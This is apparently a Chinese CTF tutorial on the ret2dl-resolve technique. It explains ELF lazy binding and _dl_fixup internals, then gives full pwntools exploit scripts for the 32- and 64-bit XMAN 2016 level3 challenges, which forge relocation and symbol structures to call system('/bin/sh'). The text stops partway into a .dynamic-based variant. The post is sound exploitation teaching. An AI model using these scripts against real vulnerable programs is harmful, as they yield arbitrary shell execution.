ret2dl-resolve


前言

之前简单看过重定位的原理及攻击手法,但是没搞懂,现在重新学习一下做个记录

Linux下函数重定位流程

ELF采用延迟绑定(Lazy Binding)技术即只有在函数用到时才对该函数进行绑定(符号查找及重定位),如果没用到就不进行绑定

/**
* ret2dl.c
* gcc -g -m32 -o ret2dl ret2dl.c
**/
#include <stdio.h>
#include <stdlib.h>

int main(void)
{
    puts("call puts 1st");
    puts("call puts 2rd");
    return 0;
}

它的大致流程如下:

Alt

第一次调用puts函数时,

0x080482e0 in puts@plt ()
......
─────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────────────
  0x80482e0  <puts@plt>                  jmp    dword ptr [_GLOBAL_OFFSET_TABLE_+12] <0x804a00c>

   0x80482e6  <puts@plt+6>                push   0
   0x80482eb  <puts@plt+11>               jmp    0x80482d0
    
   0x80482d0                              push   dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x804a004>
   0x80482d6                              jmp    dword ptr [0x804a008] <0xf7fee000>
    
   0xf7fee000 <_dl_runtime_resolve>       push   eax
   0xf7fee001 <_dl_runtime_resolve+1>     push   ecx
   0xf7fee002 <_dl_runtime_resolve+2>     push   edx
   0xf7fee003 <_dl_runtime_resolve+3>     mov    edx, dword ptr [esp + 0x10]
   0xf7fee007 <_dl_runtime_resolve+7>     mov    eax, dword ptr [esp + 0xc]
   0xf7fee00b <_dl_runtime_resolve+11>    call   _dl_fixup <0xf7fe77e0>
......
pwndbg> x/x 0x804a00c
0x804a00c:  0x080482e6

可以发现实际上此时puts@got对应的是一个偏移,控制eip返回到puts@plt中继续执行指令 push 0; jmp 0x80482d0,然后执行:

 0x80482d0                              push   dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x804a004>
  0x80482d6                              jmp    dword ptr [0x804a008] <0xf7fee000>

这里的_GLOBAL_OFFSET_TABLE_+4为got表第2项的内容,而0x804a008则是got表第3项的内容,这一点在ida中可以清晰的看到:

.got.plt:0804A000 _got_plt        segment dword public 'DATA' use32
.got.plt:0804A000                 assume cs:_got_plt
.got.plt:0804A000                 ;org 804A000h
.got.plt:0804A000 _GLOBAL_OFFSET_TABLE_ dd offset _DYNAMIC
.got.plt:0804A004 dword_804A004   dd 0                    ; DATA XREF: sub_80482F0r
.got.plt:0804A008 dword_804A008   dd 0                    ; DATA XREF: sub_80482F0+6r
.got.plt:0804A00C off_804A00C     dd offset puts          ; DATA XREF: _putsr
.got.plt:0804A010 off_804A010     dd offset system        ; DATA XREF: _systemr
.got.plt:0804A014 off_804A014     dd offset __libc_start_main
.got.plt:0804A014                                         ; DATA XREF: ___libc_start_mainr
.got.plt:0804A014 _got_plt        ends

也就是说这里实际上是将got[1]压栈,然后跳转到got[2]所指向的位置即函数_dl_runtime_resolve

   0xf7fee000 <_dl_runtime_resolve>       push   eax
   0xf7fee001 <_dl_runtime_resolve+1>     push   ecx
   0xf7fee002 <_dl_runtime_resolve+2>     push   edx
   0xf7fee003 <_dl_runtime_resolve+3>     mov    edx, dword ptr [esp + 0x10]
   0xf7fee007 <_dl_runtime_resolve+7>     mov    eax, dword ptr [esp + 0xc]
   0xf7fee00b <_dl_runtime_resolve+11>    call   _dl_fixup <0xf7fe77e0>

这个函数执行完之后,就执行真正的puts函数了,与此同时puts@got的值也不再是到puts@plt中的偏移,而是puts函数的内存地址:

pwndbg> p &puts
$1 = (<text variable, no debug info> *) 0xf7e5fca0 <_IO_puts>
pwndbg> x/x 0x0804A00C
0x804a00c:  0xf7e5fca0
pwndbg>

下次再调用puts函数时,执行jmp dword ptr [0x804a00c] <0xf7e5fca0>就直接跳转至puts的内存内地执行puts函数了

.......
─────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────────────
  0x80482e0  <puts@plt>    jmp    dword ptr [0x804a00c] <0xf7e5fca0>
    
   0xf7e5fca0 <puts>        push   ebp
   0xf7e5fca1 <puts+1>      mov    ebp, esp
   0xf7e5fca3 <puts+3>      push   edi
   0xf7e5fca4 <puts+4>      push   esi
   0xf7e5fca5 <puts+5>      push   ebx
   0xf7e5fca6 <puts+6>      call   __x86.get_pc_thunk.bx <0xf7f1fb55>

总结上述流程为: 执行函数puts时,并没有直接跳转到puts函数,而是到puts@plt,然后借助plt、got表以及其他操作进行绑定,最后才执行puts函数,而对于未执行的函数,其got表项的内容为plt表项偏移为6的地址,如puts@plt+6

整个延迟绑定的过程似乎很简单,不过我们的重点不在这里,而在_dl_runtime_resolve函数的执行过程上面。

Dynamic

其结构体为:

typedef struct
{
  Elf32_Sword    d_tag;            /* Dynamic entry type */
  union
    {
      Elf32_Word d_val;            /* Integer value */
      Elf32_Addr d_ptr;            /* Address value */
    } d_un;
} Elf32_Dyn;

上述例程在ida中看到的.dynamic:

Alt

其中包含了一些关于动态链接的关键信息,对于大多数程序这一section都差不多,而对于整个重定向攻击的学习,我们的关注点在DT_STRTAB, DT_SYMTAB, DT_JMPREL(64位下还会涉及到DT_VERSYM

DT_SYMTAB

这一项的d_ptr指向.dynsym,它是一个符号表(结构体数组),里面记录了各种符号信息,其结构体为:

typedef struct
{
  Elf32_Word    st_name;        /* Symbol name (string tbl index) */
  Elf32_Addr    st_value;        /* Symbol value */
  Elf32_Word    st_size;        /* Symbol size */
  unsigned char    st_info;        /* Symbol type and binding */
  unsigned char    st_other;        /* Symbol visibility */
  Elf32_Section    st_shndx;        /* Section index */
} Elf32_Sym;

上述例程在ida中看到的.dynsym:

Alt

DT_STRTAB

这一项的d_ptr指向dynstr,它是一个字符串表,需要注意的是index为0的位置始终是0,其后为动态链接所需的字符串(以0结尾),相关数据结构引用其中的字符串时,使用的是相对这个section头的偏移

上述例程在ida中看到的.dynstr:

Alt

DT_JMPREL

这一项的d_ptr指针指向.rel.plt,它是一个重定位表,结构体数组,每一项对应一个导入函数,其结构体如下:

typedef struct
{
  Elf32_Addr    r_offset;        /* Address */
  Elf32_Word    r_info;            /* Relocation type and symbol index */
} Elf32_Rel;

上述例程在ida中看到的.rel.plt:

Alt

_dl_runtime_resolve函数

简要了解了几个section之后就可以来看看函数_dl_runtime_resolve究竟做了什么。实际上这个函数位于got表的第2项,而且不存在延迟绑定的现象,即程序一开始运行它的地址就被写入到了got表的第2项了。

pwndbg> x/16wx 0x0804a000
0x804a000:  0x08049f14  0xf7ffd918  0xf7fee000  0x080482e6
0x804a010:  0xf7e18540  0x00000000  0x00000000  0x00000000
0x804a020:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a030:  0x00000000  0x00000000  0x00000000  0x00000000
pwndbg> x/x 0xf7fee000
0xf7fee000 <_dl_runtime_resolve>:   0x8b525150

这个函数的源码对应位置为/sysdeps/i386/dl-trampoline.S(glibc-2.25)

_dl_runtime_resolve:
    cfi_adjust_cfa_offset (8)
    pushl %eax  # Preserve registers otherwise clobbered.
    cfi_adjust_cfa_offset (4)
    pushl %ecx
    cfi_adjust_cfa_offset (4)
    pushl %edx
    cfi_adjust_cfa_offset (4)
    movl 16(%esp), %edx # Copy args pushed by PLT in register.  Note
    movl 12(%esp), %eax # that `fixup' takes its parameters in regs.
    call _dl_fixup  # Call resolver.
    popl %edx   # Get register content back.
    cfi_adjust_cfa_offset (-4)
    movl (%esp), %ecx
    movl %eax, (%esp)   # Store the function address.
    movl 4(%esp), %eax
    ret $12 # Jump to function address.
    cfi_endproc
    .size _dl_runtime_resolve, .-_dl_runtime_resolve

GNU风格的语法,可读性不是特别好,但是还是能看出主要逻辑:调用函数_dl_fixup然后得到要执行函数的地址(例程中为puts函数地址),最后函数结束,转向执行对应函数

所以实际上符号绑定和重定位的关键函数是_dl_fixup

对于系统函数如_dl_runtime_resolve在源码中的位置,可以在gdb调试时,步入到对应函数,然后即可看到其对应源码的位置

pwndbg> n
41  in ../sysdeps/i386/dl-trampoline.S  <--- _dl_runtime_resolve函数对应源码路径
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────────────────────────────────────
 EAX  0xf7fb3dbc (environ) —▸ 0xffffd01c —▸ 0xffffd21a ◂— 'LC_PAPER=zh_CN.UTF-8'
 EBX  0x0
 ECX  0xffffcf80 ◂— 0x1
 EDX  0xffffcfa4 ◂— 0x0
 EDI  0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
 ESI  0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
 EBP  0xffffcf68 ◂— 0x0
 ESP  0xffffcf38 —▸ 0xffffcfa4 ◂— 0x0
 EIP  0xf7fee003 (_dl_runtime_resolve+3) ◂— mov    edx, dword ptr [esp + 0x10]
─────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────────────
   0x80482d0                              push   dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x804a004>
   0x80482d6                              jmp    dword ptr [0x804a008] <0xf7fee000>
    
   0xf7fee000 <_dl_runtime_resolve>       push   eax
   0xf7fee001 <_dl_runtime_resolve+1>     push   ecx
   0xf7fee002 <_dl_runtime_resolve+2>     push   edx
  0xf7fee003 <_dl_runtime_resolve+3>     mov    edx, dword ptr [esp + 0x10]
   0xf7fee007 <_dl_runtime_resolve+7>     mov    eax, dword ptr [esp + 0xc]
   0xf7fee00b <_dl_runtime_resolve+11>    call   _dl_fixup <0xf7fe77e0>

   0xf7fee010 <_dl_runtime_resolve+16>    pop    edx
   0xf7fee011 <_dl_runtime_resolve+17>    mov    ecx, dword ptr [esp]
   0xf7fee014 <_dl_runtime_resolve+20>    mov    dword ptr [esp], eax

_dl_fixup

这个函数位于/elf/dl-runtime.c(glibc-2.25),其参数列表为:

_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
       ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
       struct link_map *l, ElfW(Word) reloc_arg)

忽略宏定义的部分,可以发现函数接收两个参数,回溯调用函数_dl_runtime_resolve可以发现link_map对应mov eax, dword ptr [esp + 0xc],即前面压到栈中的got[1]。而第二个参数reloc_arg则是前面压进去的数字。

对于不同函数的符号绑定和重定位,第一个参数都是一样的,区别在第二个参数。所以对于第一个参数我们只需要知道通过这个link_map类型的指针,可以访问到.symtab.strtab.rel.plt

// D_PTR是一个宏定义,位于/sysdeps/generic/ldsodefs.h,用作通过link_map寻址,实际上是通过.dynamic来寻址的
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
// 通过link_map找到DT_SYMTAB地址,然后得到.dynsym的指针 symtab
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
// 通过link_map找到DT_STRTAB地址,然后得到.dynstr的指针 strtab
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// reloc_offset即reloc_arg,通过偏移得到调用函数对应的Elf32_Rel指针 reloc
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
//  使用ELFW(R_SYM)(reloc->r_info)作为下标进行赋值
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);

对于第二个参数,实际上是当前要调用函数在.rel.plt中的偏移,如前面例程中的puts函数是0。但是在函数里面似乎没有发现对这个参数的使用,但并不意味这个这个参数就没有用,可以在前面的宏定义看到对这个参数的使用:

#ifndef reloc_offset
# define reloc_offset reloc_arg
# define reloc_index  reloc_arg / sizeof (PLTREL)
#endif

所以实际上,函数体中的reloc_offset就是我们传入的第二个参数也即是调用函数在.rel.plt中的偏移值。

_dl_fixup函数一般的函数重定向流程如下:

  • 通过struct link_map *l获得.dynsym、.dynstr、.rel.plt地址
  • 通过reloc_arg+.rel.plt地址取得函数对应的Elf32_Rel指针,记作reloc
  • 通过reloc->r_info.dynsym地址取得函数对应的Elf32_Sym指针,记作sym(.dynsym偏移reloc->r_info(除去低字节的07)的位置
  • 检查r_info最低位是否为7
  • 检查(sym->st_other)&0x03是否为0
  • 通过strtab+sym->st_name获得函数对应的字符串,进行查找,找到后赋值给rel_addr,最后调用这个函数

ret2dll-resolve

从前面的流程来看,重定位通过一系列操作最终是取得函数名称对应的字符串,即影响最终解析结果的是函数的名字。

伪造函数名称对应字符串所在地址

前面我们知道,获取函数对应字符串的操作是strtab+sym->st_name,所以我们可以对strtab或者sym->st_name下手。

通过修改strtab(字符串表的首地址)或sym->st_name(对应字符串偏移,st_name是偏移值)使strtab+sym->st_name指向目标字符串,进而达到劫持程序去执行一个不该执行的函数的目的,不过前提是strtabsym->st_name所在地址可写。但是似乎.dynstr.dynsym所在位置都不可写。

伪造reloc_arg, 伪造结构体

这种方法是针对32位下的程序,从前面的函数重定向流程来看,程序根据reloc_arg和每个section的地址来定位到函数对应的字符串地址。32位下参数是通过栈传递的,所以这个reloc_arg是存放在栈中的,所以可以伪造rloc_arg以及Elf32_Rel(.rel.plt)和Elf_Sym(.dynsym)结构体,引导程序指向伪造的结构体Elf32_Rel,进而到伪造的Elf32_Sym,最后通过偏移取得伪造的字符串,完成攻击。

这里需要绕过两个检测即对reloc->r_info最低位、sym->st_other的检测

/* Sanity check that we're really looking at a PLT relocation.  */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
// ELFW宏用作拼接字符串,判断reloc->r_info的最后一个字节是否为ELF_MACHINE_JMP_SLOT(7)
.....
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
// 只有这个判断成立,才会执行后续的操作,即sym->st_other后两位必须为0
// 以上两行代码即是对reloc->r_info最低位、sym->st_other的检测

XMAN 2016-level3

程序.rel.plt. .dynsym .dynstr所在的内存区域都不可写,所以只能改变reloc_arg来完成攻击。思路是在内存中伪造Elf32_Rel和Elf32_Sym两个结构体(函数对应的结构体,不是结构体数组),然后手动传递reloc_arg的值完成攻击,在这之前,为了使栈地址可控,先进行栈迁移。

payload = 'A'*(0x88+0x4)
payload += flat([
    read_plt,
    pop3_ret,
    0,
    new_stack_addr,
    0x400,
    pop_ebp_ret,
    new_stack_addr,
    leave_ret
])
# 先调用read函数获取伪造的reloc_arg和结构体完成攻击,read函数返回地址连续弹出read函数参数,然后做stack pivot将栈迁移到bss段

栈迁移结束之后程序暂停,等待输入,此时输入伪造的数据,就可以完成攻击了

payload = 'A'*4
payload += flat([
    write_plt_without_push_reloc_arg,
    0x18,
    start_addr,
    1,
    0x08048000,
    4
])
# 尝试手动传入reloc_arg,使其正常调用write函数输出0x08048000的内容(这个位置会打印输出elf

执行之后,可以发现成功输出了ELF,说明此方法可行:

Alt

完整的脚本

#!/usr/bin/env python
# -*- coding:utf-8 -*-

from pwn import *
context(arch='i386', os='linux', log_level='DEBUG')

start_addr = 0x08048350
read_plt = 0x08048310
write_plt = 0x08048340
write_plt_without_push_reloc_arg = 0x0804834b
leave_ret = 0x08048482
pop3_ret = 0x08048519
pop_ebp_ret = 0x0804851b
new_stack_addr = 0x0804a200 # bss与got表相邻,_dl_fixup中会降低栈向后传参,所以设置bss首址远一点防止出错

p = process('./level3')

payload = 'A'*(0x88+0x4)
payload += flat([
    read_plt,
    pop3_ret, # read函数的返回地址,弹出栈中的垃圾数据(read函数参数)
    0,
    new_stack_addr,
    0x400,
    pop_ebp_ret,  # stack pivot
    new_stack_addr,
    leave_ret
])
p.recvuntil('Input:\n')
p.send(payload)

payload = 'A'*4
payload += flat([
    write_plt_without_push_reloc_arg, # jmp     sub_8048300,跳过了push 18h
    0x18, # 手动向栈中写入reloc_arg
    start_addr, # write函数参数
    1,
    0x08048000,
    4
])
p.send(payload)
print p.recv()

分析其实可以发现,jmp sub_8048300是跳转到PLT[0],所以write_plt_without_push_reloc_arg的地址实际上是可以直接改写成PLT[0]的地址。

验证想法之后,就可以伪造结构体,完成攻击了,这里需要注意的是伪造的结构体是针对想要调用的函数而不是结构体数组

fake_Elf32_Rel_addr = new_stack_addr + 0x50
fake_Elf32_Sym_addr = new_stack_addr + 0x5c
# 伪造的fake_Elf32_Rel_addr和fake_Elf32_Sym_addr需要地址对齐
binsh_addr = new_stack_addr + 0x74
# 向栈中写入“/bin/sh”,方便system函数调用
fake_reloc_arg = fake_Elf32_Rel_addr - relplt_addr
# reloc = reloc_arg + .rel.plt
fake_r_info = ((fake_Elf32_Sym_addr - dynsym_addr)/0x10)<< 8 | 0x7
# 后面的位运算操作是为了绕过检测,sym = dynsym + reloc->r_info
fake_st_name = new_stack_addr + 0x6c - dynstr_addr
# 存储在栈上的伪造的函数字符串名
fake_Elf32_Rel_data = flat([
    write_got,
    fake_r_info
])

fake_Elf32_Sym_data = flat([
    fake_st_name,
    0,
    0,
    0x12
])
# 两个伪造的结构体
payload = 'A'*4
payload += flat([
    plt0_addr, # 劫持进程执行plt[0]
    fake_reloc_arg, # 传入伪造的reloc_arg
    0, # system函数的返回值
    binsh_addr # system函数的参数
])

payload += 'A'*0x3c
payload += fake_Elf32_Rel_data + 'A'*4 + fake_Elf32_Sym_data
payload += "system\x00\x00" + "/bin/sh\x00"

_dl_fixup的时候会试图对got表(r_offset指向的got表项)写入,而got表正好就在bss的前面,紧接着bss,为了防止运行出错,把新栈向后再调整。

完整脚本:

from pwn import *
context(arch='i386', os='linux', log_level='DEBUG')

write_got = 0x0804a018
read_plt = 0x08048310
plt0_addr = 0x08048300
leave_ret = 0x08048482
pop3_ret = 0x08048519
pop_ebp_ret = 0x0804851b
new_stack_addr = 0x0804a500 #bss与got表相邻,_dl_fixup中会降低栈后传参,设置离bss首地址远一点防止参数写入非法地址出错
relplt_addr = 0x080482b0  #.rel.plt的首地址
dynsym_addr = 0x080481cc  #.dynsym的首地址
dynstr_addr = 0x0804822c  #.dynstr的首地址

p = process('./level3')

payload = 'A'*(0x88+0x4)
payload += flat([
    read_plt,
    pop3_ret, # read函数的返回地址,弹出栈中的垃圾数据(read函数参数)
    0,
    new_stack_addr,
    0x400,
    pop_ebp_ret,  # stack pivot
    new_stack_addr,
    leave_ret
])
p.recvuntil('Input:\n')
p.send(payload)

fake_Elf32_Rel_addr = new_stack_addr + 0x50 # 在新栈上选择空间存放伪造的Elf32_Rel结构体,大小为8byte
fake_Elf32_Sym_addr = new_stack_addr + 0x5c # 在伪造的Elf32_Rel后接上伪造的Elf32_Sym结构体,大小为0x10byte

binsh_addr = new_stack_addr + 0x74  # 存放system需要的参数

fake_reloc_arg = fake_Elf32_Rel_addr - relplt_addr # 计算伪造的reloc_arg

fake_r_info = ((fake_Elf32_Sym_addr - dynsym_addr)/0x10)<< 8 | 0x7 # 伪造r_info,偏移计算成下标,除以Elf32_Sym的大小,最后一字节为0x7

fake_st_name = new_stack_addr + 0x6c - dynstr_addr # 伪造Elf32_Sym结构体后面接上伪造的函数名system

fake_Elf32_Rel_data = flat([
    write_got,  # r_offset = write_got,以免重定位完毕回填got表的时候出现非法内存访问错误
    fake_r_info
])

fake_Elf32_Sym_data = flat([
    fake_st_name,
    0,  # 后面的数据直接套用write函数的Elf32_Sym结构体
    0,
    0x12
])

payload = 'A'*4
payload += flat([
    plt0_addr,
    fake_reloc_arg,
    0,
    binsh_addr
])

payload += 'A'*0x3c
payload += fake_Elf32_Rel_data + 'A'*4 + fake_Elf32_Sym_data
payload += "system\x00\x00" + "/bin/sh\x00"
p.send(payload)
p.interactive()

64位下的ret2dl-resolve

与32位不同,64位下_dl_fixup的逻辑没有改变,但是相关变量和结构体都有变化,/sysdeps/x86_64/dl-runtime.c中的reloc_offset和reloc_index:

#define reloc_offset reloc_arg * sizeof (PLTREL)
#define reloc_index  reloc_arg

与32位不同的是这里的reloc_offset变成了.rel.plt的数组下标,而不再是偏移。此外,还有两个关键结构体Elf32_Rel升级为Elf64_RelaElf32_Sym升级为Elf64_Sym:

typedef struct
{
  Elf64_Addr        r_offset;                /* Address */
  Elf64_Xword        r_info;                        /* Relocation type and symbol index */
  Elf64_Sxword        r_addend;                /* Addend */
} Elf64_Rela;

typedef struct
{
  Elf64_Word        st_name;                /* Symbol name (string tbl index) */
  unsigned char        st_info;                /* Symbol type and binding */
  unsigned char st_other;                /* Symbol visibility */
  Elf64_Section        st_shndx;                /* Section index */
  Elf64_Addr        st_value;                /* Symbol value */
  Elf64_Xword        st_size;                /* Symbol size */
} Elf64_Sym;

在64位下,伪造reloc_arg的方法会因为数组越界而失败:

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
        {
          const ElfW(Half) *vernum =
            (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
          ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
          version = &l->l_versions[ndx];
          if (version->hash == 0)
            version = NULL;
        }

这里使用reloc->r_info的高位作为下标产生ndx,然后在link_map的成员数组变量l_versions中取值作为version。为了在伪造的时候定位到正确的sym,r_info的值必然会很大。

在32位的情况下,由于程序的映射较为紧凑, reloc->r_info的高24位导致vernum数组越界的情况较少。由于程序映射的原因,vernum数组首地址后面有大片内存都是以0x00填充,攻击导致reloc->r_info的高24位过大后从vernum数组中获取到的ndx有很大概率是0,从而由于ndx异常导致l_versions数组越界的几率也较低,大部分情况下32位的题目很少会产生ret2dl-resolve在此处造成的段错误

而对于64位,由于常用的bss段被映射到了0x600000之后,而dynsym的地址仍然在0x400000附近,r_info的高位将会变得很大,再加上此时vernum也在0x400000附近,vernum[ELFW(R_SYM) (reloc->r_info)]将会有很大概率落在在0x400000~0x600000间的不可读区域,从而产生一个段错误。

为了防止出现这个错误,我们需要修改判断流程,使得l->l_info[VERSYMIDX (DT_VERSYM)]为0,从而绕开这块代码,而l->l_info[VERSYMIDX (DT_VERSYM)]在64位中的位置就是link_map+0x1c8(对应的,32位下为link_map+0xe4),所以我们需要泄露link_map地址并将link_map置为0

实际上在64位下,伪造reloc_arg之前,只需要再多做一步即泄露link_map(got[0]),然后将其值置为0即可

XMAN 2016-level3_x64

#!/usr/bin/python
#coding:utf-8

from pwn import *

context.update(os='linux', arch='amd64')

gadgets1 = 0x00000000004006AA
'''
pop     rbx
pop     rbp
pop     r12
pop     r13
pop     r14
pop     r15
retn
'''
gadgets2 = 0x0000000000400690
'''
mov     rdx, r13
mov     rsi, r14
mov     edi, r15d
call    qword ptr [r12+rbx*8]
add     rbx, 1
cmp     rbx, rbp
jnz     short loc_400690
'''

vulfun_addr = 0x4005e6
write_got = 0x600A58
read_got = 0x600A60
plt0_addr = 0x4004a0
link_map_got = 0x600A48
leave_ret = 0x400618
pop_rdi_ret = 0x4006b3
pop_rbp_ret = 0x400550
new_stack_addr = 0x600d88 # bss与got表相邻,_dl_fixup中会降低栈后传参,设置离bss首地址远一点防止参数写入非法地址出错
relplt_addr = 0x400420  # .rel.plt的首地址
dynsym_addr = 0x400280  # .dynsym的首地址
dynstr_addr = 0x400340  # .dynstr的首地址

p = process('./level3_x64')

# leak link_map
payload = 'A'*(0x80+0x8)
payload += flat([
    gadgets1,   # 通用gadgets调用write函数泄露link_map的地址
    0,
    1,
    write_got,
    8,
    link_map_got,
    1,
    gadgets2
])
payload += 'A'*56 + p64(vulfun_addr)
# 泄露link_map之后返回函数vulnerable_function

p.send(payload)
p.recvuntil('Input:\n')
link_map_addr = u64(p.recv(8))
log.success("link_map_addr = %#x"%link_map_addr)

# read fake struct to fake stack and do stack pivot
payload = 'A'*(0x80+0x8)
payload += flat([
    gadgets1,
    0,
    1,
    read_got,
    0x500,
    new_stack_addr,
    0,
    gadgets2
])
payload += 'A'*56
# stack pivot
payload += flat([
    pop_rbp_ret,
    new_stack_addr,
    leave_ret
])
p.send(payload)

# fake data
fake_Elf64_Rela_base_addr = new_stack_addr + 0x150
fake_Elf64_Sym_base_addr = new_stack_addr + 0x190 # 与上一个结构体之间留出一段长度防止重叠
fake_dynstr_addr = new_stack_addr + 0x1c0 # 与上一个结构体之间留出一段长度防止重叠
binsh_addr = new_stack_addr + 0x1c8 # "/bin/sh\x00"所在地址

# 计算两个结构体的对齐填充字节数,两个结构体大小都是0x18
rel_plt_align = 0x18 - (fake_Elf64_Rela_base_addr - relplt_addr) % 0x18
rel_sym_align = 0x18 - (fake_Elf64_Sym_base_addr - dynsym_addr) % 0x18

# 加上对齐值后为结构体真正地址
fake_Elf64_Rela_addr = fake_Elf64_Rela_base_addr + rel_plt_align
fake_Elf64_Sym_addr = fake_Elf64_Sym_base_addr + rel_sym_align

fake_reloc_arg = (fake_Elf64_Rela_addr - relplt_addr)/0x18
fake_r_info = (((fake_Elf64_Sym_addr - dynsym_addr)/0x18) << 0x20) | 0x7 # 伪造r_info,偏移要计算成下标,除以Elf64_Sym的大小,最后一字节为0x7
fake_st_name = fake_dynstr_addr - dynstr_addr   # 计算伪造的st_name数值为伪造函数字符串system与.dynstr节开头间的偏移

fake_Elf64_Rela_data = flat([
    write_got,  # r_offset = write_got,以免重定位完毕回填got表的时候出现非法内存访问错误
    fake_r_info,
    0
])

fake_Elf64_Sym_data = flat([
    fake_st_name, # 后面的数据直接套用write函数的Elf64_Sym结构体
    0x12,
    0,
    0
])

# rewrite link_map to 0, and do ret2dl-resolve
payload = 'A'*8
payload += flat([
    gadgets1, # 通用gadgets调用read改写link_map
    0,
    1,
    read_got,
    8,
    link_map_addr + 0x1c8,
    0,
    gadgets2
])
payload += 'A'*56

# do ret2dl-resolve
payload += flat([
    pop_rdi_ret,  # 设置system函数的参数('/bin/sh')
    binsh_addr,
    plt0_addr,
    fake_reloc_arg
])

# deploy the fake data
payload = payload.ljust(0x150, 'A')

# fake Elf64_Rela
payload += 'B'*rel_plt_align
payload += fake_Elf64_Rela_data
payload = payload.ljust(0x190, 'B')

# fake Elf64_Sym
payload += 'C'*rel_sym_align
payload += fake_Elf64_Sym_data
payload = payload.ljust(0x1c0, 'C')

# puts other data
payload += 'system\x00\x00'
payload += '/bin/sh\x00'

p.send(payload)
p.send(p64(0)) # set link_map

sleep(0.1)
p.interactive()

在.dynamic节中伪造.dynstr节地址

我们知道,.rel.plt.dynsym.dynstr三个重定位相关的节区均为不可写,所以修改这个三个节区的数据完成攻击是不可行的。但是还有一个.dynamic节,其中保存了动态链接器所需要的基本信息,而且是可写的(没有开启RELRO,即No RELRO)

Partial RELRO和Full RELRO会在程序加载完成时设置.dynamic为不可写,不过readelf此时依旧会识别为可写(readelf -l filename)

.dynamic节的结构体定义如下:

/* Dynamic section entry.  */

typedef struct
{
  Elf32_Sword d_tag;      /* Dynamic entry type */
  union
    {
      Elf32_Word d_val;   /* Integer value */
      Elf32_Addr d_ptr;   /* Address value */
    } d_un;
} Elf32_Dyn;

typedef struct
{
  Elf64_Sxword  d_tag;  /* Dynamic entry type */
  union
    {
      Elf64_Xword d_val;  /* Integer value */
      Elf64_Addr d_ptr;   /* Address value */
    } d_un;
} Elf64_Dyn;

可以看到,32位和64位基本无异,都是由由一个d_tag和一个union类型组成,union中的两个变量会随着不同的d_tag进行切换

随便找一个程序,查看其对应的.dynamic节,可以发现.dynstr对应的d_tag为0x05:

nop@ubuntu:~/Desktop$ readelf -d ./ret2dl

Dynamic section at offset 0xf14 contains 24 entries:
  Tag        Type                         Name/Value
 0x00000001 (NEEDED)                     Shared library: [libc.so.6]
 0x0000000c (INIT)                       0x80482a8
 0x0000000d (FINI)                       0x80484b4
 0x00000019 (INIT_ARRAY)                 0x8049f08
 0x0000001b (INIT_ARRAYSZ)               4 (bytes)
 0x0000001a (FINI_ARRAY)                 0x8049f0c
 0x0000001c (FINI_ARRAYSZ)               4 (bytes)
 0x6ffffef5 (GNU_HASH)                   0x80481ac
 0x00000005 (STRTAB)                     0x804821c
 0x00000006 (SYMTAB)                     0x80481cc
......

而union变量对应的值就是.dynstr节对应的指针:

LOAD:0804821C ; ELF String Table
LOAD:0804821C byte_804821C    db 0                    ; DATA XREF: LOAD:080481DCo
LOAD:0804821C                                         ; LOAD:080481ECo ...
LOAD:0804821D aLibcSo6        db 'libc.so.6',0
LOAD:08048227 aIoStdinUsed    db '_IO_stdin_used',0   ; DATA XREF: LOAD:0804820Co
LOAD:08048236 aPuts           db 'puts',0             ; DATA XREF: LOAD:080481DCo
LOAD:0804823B aLibcStartMain  db '__libc_start_main',0
LOAD:0804823B                                         ; DATA XREF: LOAD:080481FCo
LOAD:0804824D aGmonStart      db '__gmon_start__',0   ; DATA XREF: LOAD:080481ECo
LOAD:0804825C aGlibc20        db 'GLIBC_2.0',0
LOAD:08048266                 align 4
LOAD:08048268                 dd 2, 10002h, 10001h, 1, 10h, 0
LOAD:08048280                 dd 0D696910h, 20000h, 40h, 0

既然.dynamic在未开启RELRO的情况下是可写的,那么就可以通过修改对应.dynstr的指针使其指向我们伪造的数据,进而完成攻击,不过这种方式的前提是程序还有未执行过的函数

例.fake_dynstr32

程序未开启RELRO,符合我们的前提条件:

nop@ubuntu:~/Desktop$ checksec ./fake_dynstr32
[*] '/home/nop/Desktop/fake_dynstr32'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

接着再来看程序流程,流程也很简单:调用了存在栈溢出漏洞的函数vuln,vuln执行结束之后执行函数exit(0)结束程序。

在我们通过栈溢出控制程序执行流程之前,exit()函数并未执行,所以这里存在一个未执行的函数,攻击条件满足。大致思路为,劫持程序流程去执行exit("/bin/sh"),但是在这之前,修改.dynamic节中指向.dynstr的指针指向伪造的节,使程序在做重定位时将exit绑定为system进而执行system("/bin/sh")

先把所有字符串拿出来:

fake_dynstr_data = "\x00libc.so.6\x00_IO_stdin_used\x00exit\x00memset\x00read\x00__libc_start_main\x00__gmon_start__\x00GLIBC_2.0\x00"
'''
